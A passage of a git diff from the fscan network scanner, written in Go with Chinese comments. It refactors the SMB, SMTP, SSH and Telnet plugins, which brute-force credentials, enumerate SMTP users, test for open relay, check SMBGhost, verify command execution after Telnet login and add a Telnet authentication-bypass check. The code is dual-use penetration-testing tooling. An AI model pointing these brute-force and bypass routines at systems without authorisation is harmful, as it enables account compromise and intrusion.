timeout) if err != nil { return nil, fmt.Errorf("连接失败: %w", err) } @@ -230,7 +230,7 @@ func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, erro } // SMBv2路径 - return probeSMBv2(target, timeout) + return probeSMBv2(ctx, target, timeout, session) } // probeSMBv1 处理SMBv1协议信息收集 @@ -242,7 +242,7 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget } ret, err := readSMBMessage(conn) - if err != nil || len(ret) < 45 { + if err != nil || len(ret) < 47 { return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err) } @@ -251,21 +251,24 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget } // 解析blob信息 - blobLength := bytesToUint16(ret[43:45]) - blobCount := bytesToUint16(ret[45:47]) + blobLength := int(bytesToUint16(ret[43:45])) + blobCount := int(bytesToUint16(ret[45:47])) - if int(blobCount) > len(ret) { + gssNative := ret[47:] + gssLen := len(gssNative) + + // 校验远端返回的偏移量 + if blobLength > gssLen || blobCount > gssLen || blobLength > blobCount { return info, nil } - gssNative := ret[47:] offNTLM := bytes.Index(gssNative, []byte("NTLMSSP")) if offNTLM == -1 { return info, nil } // 提取native OS和LM信息 - native := gssNative[int(blobLength):blobCount] + native := gssNative[blobLength:blobCount] ss := strings.Split(string(native), "\x00\x00") if len(ss) > 0 { @@ -276,15 +279,17 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget } // 解析NTLM信息 - bs := gssNative[offNTLM:blobLength] - parseNTLMChallenge(bs, info) + if offNTLM <= blobLength { + bs := gssNative[offNTLM:blobLength] + parseNTLMChallenge(bs, info) + } return info, nil } // probeSMBv2 处理SMBv2协议信息收集 -func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) { - conn2, err := common.WrapperTcpWithTimeout("tcp", target, timeout) +func probeSMBv2(ctx context.Context, target string, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) { + conn2, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { return nil, fmt.Errorf("SMBv2连接失败: %w", err) } @@ -349,10 +354,10 @@ func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) { } // checkSMBGhost 检测CVE-2020-0796漏洞 -func checkSMBGhost(host string, timeout time.Duration) bool { +func checkSMBGhost(ctx context.Context, host string, timeout time.Duration, session *common.ScanSession) bool { addr := fmt.Sprintf("%s:445", host) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return false } @@ -385,15 +390,15 @@ func checkSMBGhost(host string, timeout time.Duration) bool { // SMBAuthenticator 统一认证接口 type SMBAuthenticator interface { - Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) - ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) + Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) + ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) } // SMB1Authenticator SMB1认证器 type SMB1Authenticator struct{} // Authenticate 执行SMB1认证 -func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) { +func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) { options := smb.Options{ Host: host, Port: port, @@ -467,19 +472,19 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port } // ListShares 列举SMB共享(SMB1使用SMB2库列举) -func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) { - return listSMBSharesInternal(host, port, cred, domain, timeout) +func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) { + return listSMBSharesInternal(ctx, host, port, cred, domain, timeout, session) } // SMB2Authenticator SMB2认证器 type SMB2Authenticator struct{} // Authenticate 执行SMB2认证 -func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) { +func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) { timeoutCtx, cancel := context.WithTimeout(ctx, timeout) defer cancel() - conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout) + conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout) if err != nil { return &AuthResult{ Success: false, @@ -518,15 +523,15 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port } // ListShares 列举SMB2共享 -func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) { - return listSMBSharesInternal(host, port, cred, domain, timeout) +func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) { + return listSMBSharesInternal(ctx, host, port, cred, domain, timeout, session) } // listSMBSharesInternal 内部共享列举实现 -func listSMBSharesInternal(host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) { +func listSMBSharesInternal(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) { target := net.JoinHostPort(host, strconv.Itoa(port)) - conn, err := net.DialTimeout("tcp", target, timeout*2) + conn, err := session.DialTCP(ctx, "tcp", target, timeout*2) if err != nil { return nil, err } diff --git a/plugins/services/smtp.go b/plugins/services/smtp.go index e3dbd2c..4d77b12 100644 --- a/plugins/services/smtp.go +++ b/plugins/services/smtp.go @@ -25,15 +25,16 @@ func NewSMTPPlugin() *SMTPPlugin { } } -func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 检测未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner)) return result } @@ -55,8 +56,8 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig) @@ -68,23 +69,22 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co } // createAuthFunc 创建SMTP认证函数 -func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doSMTPAuth(ctx, info, cred, config, state) + return p.doSMTPAuth(ctx, info, cred, session) } } // doSMTPAuth 执行SMTP认证 -func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() - timeout := config.Timeout + timeout := session.Config.Timeout resultChan := make(chan *AuthResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifySMTPErrorType(err), @@ -98,7 +98,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred client, err := smtp.NewClient(conn, info.Host) if err != nil { _ = conn.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifySMTPErrorType(err), @@ -111,7 +110,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred auth := smtp.PlainAuth("", cred.Username, cred.Password, info.Host) if err := client.Auth(auth); err != nil { _ = client.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifySMTPErrorType(err), @@ -123,7 +121,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred if err := client.Mail("test@test.com"); err != nil { _ = client.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifySMTPErrorType(err), @@ -132,7 +129,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred return } - state.IncrementTCPSuccessPacketCount() resultChan <- &AuthResult{ Success: true, Conn: &smtpClientWrapper{client}, @@ -209,24 +205,24 @@ func classifySMTPErrorType(err error) ErrorType { } // testUnauthorizedAccess 测试SMTP未授权访问 -func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { // 测试匿名访问 - if result := p.testAnonymousAccess(ctx, info, config, state); result != nil { + if result := p.testAnonymousAccess(ctx, info, session); result != nil { return result } // 测试开放中继 - if result := p.testOpenRelay(ctx, info, config, state); result != nil { + if result := p.testOpenRelay(ctx, info, session); result != nil { return result } // 测试VRFY命令 - if result := p.testVRFYCommand(ctx, info, config, state); result != nil { + if result := p.testVRFYCommand(ctx, info, session); result != nil { return result } // 测试EXPN命令 - if result := p.testEXPNCommand(ctx, info, config, state); result != nil { + if result := p.testEXPNCommand(ctx, info, session); result != nil { return result } @@ -234,15 +230,14 @@ func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Ho } // testAnonymousAccess 测试匿名邮件发送 -func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } @@ -270,7 +265,6 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI return } - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -288,15 +282,14 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI } // testOpenRelay 测试开放中继 -func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } @@ -324,7 +317,6 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, c return } - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -342,21 +334,20 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, c } // testVRFYCommand 测试VRFY命令用户枚举 -func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { resultChan <- nil @@ -391,7 +382,6 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, vrfyResponse := strings.TrimSpace(string(buffer[:n])) if strings.HasPrefix(vrfyResponse, "250") { - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -414,21 +404,20 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, } // testEXPNCommand 测试EXPN命令邮件列表枚举 -func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { resultChan <- nil @@ -463,7 +452,6 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, expnResponse := strings.TrimSpace(string(buffer[:n])) if strings.HasPrefix(expnResponse, "250") { - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -486,21 +474,20 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, } // getServerInfo 获取SMTP服务器信息 -func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) string { +func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, session *common.ScanSession) string { target := info.Target() resultChan := make(chan string, 1) go func() { - conn, err := common.SafeTCPDial(target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- "" return } defer func() { _ = conn.Close() }() - _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout)) buffer := make([]byte, 1024) n, err := conn.Read(buffer) if err != nil { @@ -508,7 +495,6 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, c return } - state.IncrementTCPSuccessPacketCount() welcome := strings.TrimSpace(string(buffer[:n])) if strings.HasPrefix(welcome, "220") { @@ -529,18 +515,17 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, c } // identifyService SMTP服务识别 -func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - serverInfo := p.getServerInfo(ctx, info, config, state) + serverInfo := p.getServerInfo(ctx, info, session) var banner string if serverInfo != "" { banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo) } else { - conn, err := common.SafeTCPDial(target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "smtp", @@ -548,7 +533,6 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, } } defer func() { _ = conn.Close() }() - state.IncrementTCPSuccessPacketCount() banner = "SMTP邮件服务" } diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index 2a843b3..d50b9a0 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -34,12 +34,13 @@ func NewSSHPlugin() *SSHPlugin { } // Scan 执行SSH扫描 -func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() // 如果指定了SSH密钥,优先使用密钥认证 if config.Credentials.SSHKeyPath != "" { - if result := p.scanWithKey(ctx, info, config, state); result != nil && result.Success { + if result := p.scanWithKey(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet return result } @@ -47,7 +48,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com // 如果禁用暴力破解,只做服务识别 if config.DisableBrute { - return p.identifyService(info, config, state) + return p.identifyService(ctx, info, session) } // 生成测试凭据 @@ -63,8 +64,8 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "ssh", testConfig) @@ -77,14 +78,15 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // createAuthFunc 创建SSH认证函数 -func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doSSHAuth(ctx, info, cred, config, state) + return p.doSSHAuth(ctx, info, cred, session) } } // doSSHAuth 执行SSH认证 -func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { + config := session.Config target := info.Target() // 创建SSH配置 @@ -111,9 +113,8 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C } // 建立TCP连接 - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifySSHErrorType(err), @@ -125,7 +126,6 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig) if err != nil { _ = conn.Close() - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifySSHErrorType(err), @@ -136,7 +136,6 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C // 创建SSH客户端 client := ssh.NewClient(sshConn, chans, reqs) - state.IncrementTCPSuccessPacketCount() return &AuthResult{ Success: true, Conn: &sshClientWrapper{client}, @@ -179,7 +178,8 @@ func classifySSHErrorType(err error) ErrorType { } // scanWithKey 使用SSH私钥扫描 -func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config keyData, err := os.ReadFile(config.Credentials.SSHKeyPath) if err != nil { common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet @@ -204,7 +204,7 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, conf KeyData: keyData, } - result := p.doSSHAuth(ctx, info, cred, config, state) + result := p.doSSHAuth(ctx, info, cred, session) if result.Success { if result.Conn != nil { _ = result.Conn.Close() @@ -222,12 +222,11 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, conf } // identifyService 服务识别 -func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := common.SafeTCPDial(target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "ssh", @@ -236,8 +235,7 @@ func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config } defer func() { _ = conn.Close() }() - if banner := p.readSSHBanner(conn, config); banner != "" { - state.IncrementTCPSuccessPacketCount() + if banner := p.readSSHBanner(conn, session.Config); banner != "" { common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet return &ScanResult{ Type: plugins.ResultTypeService, @@ -247,7 +245,6 @@ func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config } } - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "ssh", diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index accd53d..b131296 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -4,9 +4,11 @@ package services import ( "context" + "crypto/rand" "fmt" "net" "strings" + "sync" "time" "github.com/shadow1ng/fscan/common" @@ -16,14 +18,26 @@ import ( // Telnet协议时间常量 const ( - telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟 - telnetRetryDelay = 500 * time.Millisecond // 重试延迟 - telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟 - telnetReadTimeout = 2 * time.Second // 读取超时 - telnetBannerTimeout = 3 * time.Second // Banner读取超时 - telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时 - telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时 - telnetMaxAttempts = 10 // 最大尝试次数 + telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟 + telnetRetryDelay = 500 * time.Millisecond // 重试延迟 + telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟 + telnetReadTimeout = 2 * time.Second // 读取超时 + telnetBannerTimeout = 3 * time.Second // Banner读取超时 + telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时 + telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时 + telnetMaxAttempts = 10 // 最大尝试次数 +) + +// CVE-2026-24061 Telnet NEW-ENVIRON 选项常量 +const ( + telnetIAC = 0xFF // Telnet Interpret As Command + telnetSB = 0xFA // Subnegotiation Begin + telnetSE = 0xF0 // Subnegotiation End + telnetNEWENVIRON = 39 // NEW-ENVIRON option + telnetDO = 0xFD // DO + telnetDONT = 0xFE // DONT + telnetWILL = 0xFB // WILL + telnetWONT = 0xFC // WONT ) // TelnetPlugin Telnet扫描插件 @@ -37,18 +51,19 @@ func NewTelnetPlugin() *TelnetPlugin { } } -func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 检测未授权访问 - if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("telnet_service", target, result.Banner)) // 验证命令执行能力 - if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", config, state); ok { + if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok { common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence)) } return result @@ -70,16 +85,21 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config * creds[i] = Credential{Username: c.Username, Password: c.Password} } + // CVE-2026-24061: 并发检测 Telnetd Authentication Bypass 漏洞 + if cveResult := p.checkCVE202624061Concurrent(ctx, info, session, config); cveResult != nil { + return cveResult + } + // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig) if result.Success { common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password)) // 验证命令执行能力 - if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, config, state); ok { + if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, session); ok { common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence)) } } @@ -88,22 +108,21 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config * } // createAuthFunc 创建Telnet认证函数 -func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doTelnetAuth(ctx, info, cred, config, state) + return p.doTelnetAuth(ctx, info, cred, session) } } // doTelnetAuth 执行Telnet认证 -func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() resultChan := make(chan *AuthResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyTelnetErrorType(err), @@ -112,10 +131,9 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, return } - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) if p.performTelnetAuth(conn, cred.Username, cred.Password) { - state.IncrementTCPSuccessPacketCount() resultChan <- &AuthResult{ Success: true, Conn: &telnetConnWrapper{conn}, @@ -124,7 +142,6 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, } } else { _ = conn.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: ErrorTypeAuth, @@ -192,21 +209,20 @@ func classifyTelnetErrorType(err error) ErrorType { } // testUnauthAccess 测试Telnet未授权访问 -func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) buffer := make([]byte, 1024) attempts := 0 @@ -229,7 +245,6 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn p.handleIACNegotiation(conn, buffer[:n]) if p.isShellPrompt(cleaned) { - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -489,15 +504,14 @@ func (p *TelnetPlugin) isLoginFailed(data string) bool { } // identifyService Telnet服务识别 -func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &ScanResult{ Success: false, Service: "telnet", @@ -507,12 +521,11 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) buffer := make([]byte, 2048) n, err := conn.Read(buffer) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &ScanResult{ Success: false, Service: "telnet", @@ -521,8 +534,6 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf return } - state.IncrementTCPSuccessPacketCount() - p.handleIACNegotiation(conn, buffer[:n]) cleaned := p.cleanResponse(string(buffer[:n])) cleanedLower := strings.ToLower(cleaned) @@ -574,7 +585,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf } // verifyCommandExecution 验证Telnet命令执行能力(RCE检测) -func (p 